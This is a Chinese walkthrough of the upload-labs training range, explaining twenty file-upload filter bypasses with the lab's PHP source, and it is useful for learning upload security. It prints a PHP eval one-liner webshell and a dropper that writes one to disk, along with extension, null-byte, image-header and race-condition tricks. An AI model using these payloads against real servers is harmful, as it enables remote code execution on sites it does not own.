准备

部署:使用了小皮工具箱

admin360bug/upload-labs: 原始靶场环境:https://github.com/c0ny1/upload-labs 此项目原始靶场环境的开普勒安全团队修改版,重新使用PHP7编写,并且保留了原版的风味!

Level-1(前端JS绕过)

这里是一个前端验证

直接把前端验证给nop掉

浏览器直接修改线上js - xiaochuchun - 博客园 (cnblogs.com)

利用这个方法

或者说可以用bp抓包直接改type

image-20240704231825996

上传后用蚁剑连接webshell

image-20240704231904070

Level-2(MIME绕过)

看源码发现这里是检测了Content-Type头,直接修改

Content-Type修改为或者其他支持的image/jpeg

Level-3(后缀名绕过)

只过滤了php,可以使用变异的php拓展名进行绕过

比如php3

上传了,由于文件名被修改了,我们可能需要爆破才能连接上传的webshell

Level-4(.htaccess绕过)

看源码,这一关把所有php拓展名给禁了

可以利用apache中间件.htaccess的配置,把png图片当做php来解析

SetHandler application/x-httpd-php

在我自己搭的靶场中没有复现成功,可能是我的apache版本太高了

Level-5(大小写绕过)

  • 把后缀名改为5.PHP

同样由于我的环境版本比较高,默认不支持.PHP后缀

Level-6(空格绕过)

与上一关相比,少了trim也就是没去掉空格

那么显然这一关就是从空格着手

想到空格绕过,但是要求环境在windows中并且需要修改php环境为5.2.17

在我的环境下,空格绕过已经被ban

apache不会解析这个为php页面

wp的做法是把文件名修改为1. php

Level-7(点号绕过)

根前几关相比,这一关没了去点号的操作

Windows环境中会自动去除文件末尾的点和空格

那么我们就在上传的1.php后面添加几个点号

最后上传的文件变成了1.php

Level-8(::$DATA绕过)

这关的过滤与前几关相比少了过滤(::$DATA)

在windows环境下,不光会自动去除文件末尾的点和空格,同时(::$DATA)这个字符串,windows也会认为是非法字符,默认去除掉

(::$DATA)是利用windows的文件流特性

于是直接修改webshell的后缀名为php::$DATA

Level-9(结合绕过)

由于不是循环验证,我们可以双写进行绕过.因为只过滤了一次

这里不能双写::$DATA因为先转了小写

直接在后缀名添加. .

这样删除了空格和点后还剩下php.利用windows特性就能绕过

Level-10(双写绕过)

由于这一题直接把我们的危险后缀名给替换成功了

但是不是循环验证了

所以我们可以直接尝试双写绕过例如pphphp

Level-11(get%00绕过)

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext

//$_GET和之前的$_POST差不多,主要是可以进行抓包修改

然后通过

move_uploaded_file(tempfile,temp_file,img_path)函数利用

解释00截断:
当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000 的形式。

而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险

这是因为php语言的底层是c语言,而\0在c语言中是字符串的结束符,所以导致00截断的发生
截取的数据包,把标记的内容修改成…/upload/test.php%00。这样实际是将1.jpg的内容移动到test.php文件中了。

因为$img_path变量是…/upload/test.php%00xxx.jpg。在php版本<5.3.4且magic_quotes_gpc=off时

以上为服务器phpinfo中的信息。…/upload/test.php%00xxx.jpg会被认为…/upload/test.php

利用move_uploaded_file函数,临时路径下的jpg文件内容写入…/upload/test.php中

在我的当前实验环境是无法实现的

Level-12(post%00截断)

这一关与上一关的区别就是save_path的传参改为了POST

Pass-11中对url进行解码。将%00解码成0x00,而Pass-12中没有url解码这一步,直接在hex的值中修改。形成0x00截断。

由于我的php版本比较高,复现是不成功的

Level-13(图片马unpack)

在webshell前加个jpg,gifpngmagic number

再利用文件包含漏洞把它当做php文件解析,直接getshell

image-20240705183925523

Level-14(图片马getimagesize)

与第13关一样

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

本Pass主要利用isImage函数来判断上传的文件是不是图片类型(不仅仅是三种常规类型图片)。来看看isImage函数干了什么事情:

首先利用getimagesize函数检测文件类型。

然后利用image_type_to_extension函数对getimagesize函数返回的数组索引2(Array[2])作后缀名转换,最后用stripos函数检测image_type_to_extension函数返回的结果是否在变量$types白名单中。

所以关键就是getimagesize函数,它的工作原理是什么,什么样的文件会让它返回的数组的索引 2 为"白名单数字",怎么样去绕过它?

所以getimagesize函数不是绝对安全的,关键看怎么去使用它。对于本Pass只检测getimagesize($file)[2]的值,其绕过方式和Pass-13相似。只是文件头多保留几位罢了。

JPG:对于JPG文件保留的文件头标识就多一些了(10行左右),可以直接在JPG文件都加php木马,但是可能会报错误。

PNG:89 50 4e 47 0d 0a 1a 0a(可以抓包修改hex,也可以找个真png,用编辑器打开,将文件头标识后面的内容替换成php木马就行)

GIF:GIF89a(直接在文件头加入,也可以抓包修改hex:47 49 46 38 39 61)

Level-15(图片马exif_imagetype)

本Pass中使用的是exif_imagetype函数来检测上传的文件是否为图片,其返回值和Pass-14中getimagesize函数返回值的索引2是一样的

Level-16(图片马二次渲染绕过)

二次渲染绕过
imagecreatefromjpeg()函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。
进行通关
按照原来的方法进行上传,我们可以发现还是可以上传的,但是配合包含漏洞却无法解析,这时我们把上传的图片复制下来用Notepad打开,发现我们原来写的php代码没有了,这就是二次渲染把我们里面的php代码删掉了。
我们
把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞,就可以了

制作绕过二次渲染的图片马_二次渲染图片马原理-CSDN博客

这里的GIF比较方便

直接改头部属性就可以了

image-20240705191828904

Level-17(条件竞争)

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

审源码

可以看到,这里有逻辑错误引起的漏洞,文件上传了之后才开始检测,然后进行删除操作

这里就可以进行条件竞争

在还没来得及删除的条件下实现webshell的利用

用burpsuite的sniper模式即可

使用Burpsuite抓包上传shell.php

内容:

<?php fputs(fopen('Alan.php','w'),'<?php @eval($_POST["Alan"])?>’);?>

作用:

只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个Alan.php,写入一句话木马:

<?php @eval($_POST["Alan"]);?>

然后写两个脚本,一个是上传shell.php的脚本

一个是访问/shell.php的脚本

Level-18(后缀名+条件竞争)

由于本关不能利用文件包含漏洞

所以要首先绕过白名单

利用.php.jpg

这样低版本的apache解析的仍然是php文件

剩余的就和LEVEL-17一样了

Level-19(代码审计)

在此关,最终的文件名用户可控

由于是黑名单过滤,直接沿用前面关卡的%00截断或者空格或者.什么的进行绕过

upload-19.php%00.jpg

upload-19.php.这个只能在php版本5.2才可用

Level-20(代码审计)

$file_name经过reset($file) . ‘.’ . $file[count($file) - 1];处理。

上传的是数组的话,会跳过$file = explode(‘.’, strtolower($file));

后缀有白名单过滤

$ext = end($file);

$allow_suffix = array(‘jpg’,‘png’,‘gif’);

最终的文件名后缀取的是$file[count($file) - 1],我们可以通过让$file为数组。$file[0]为smi1e.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。

此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . ‘.’ . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php

说明:

empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;

三运运算符:(expr1) ? (expr2) : (expr3); 如果条件expr1 成立,执行expr2,否则执行expr3;

end函数:将内部指针指向数组最后一个元素并输出;

reset函数:将内部指针指向数组第一个元素并输出;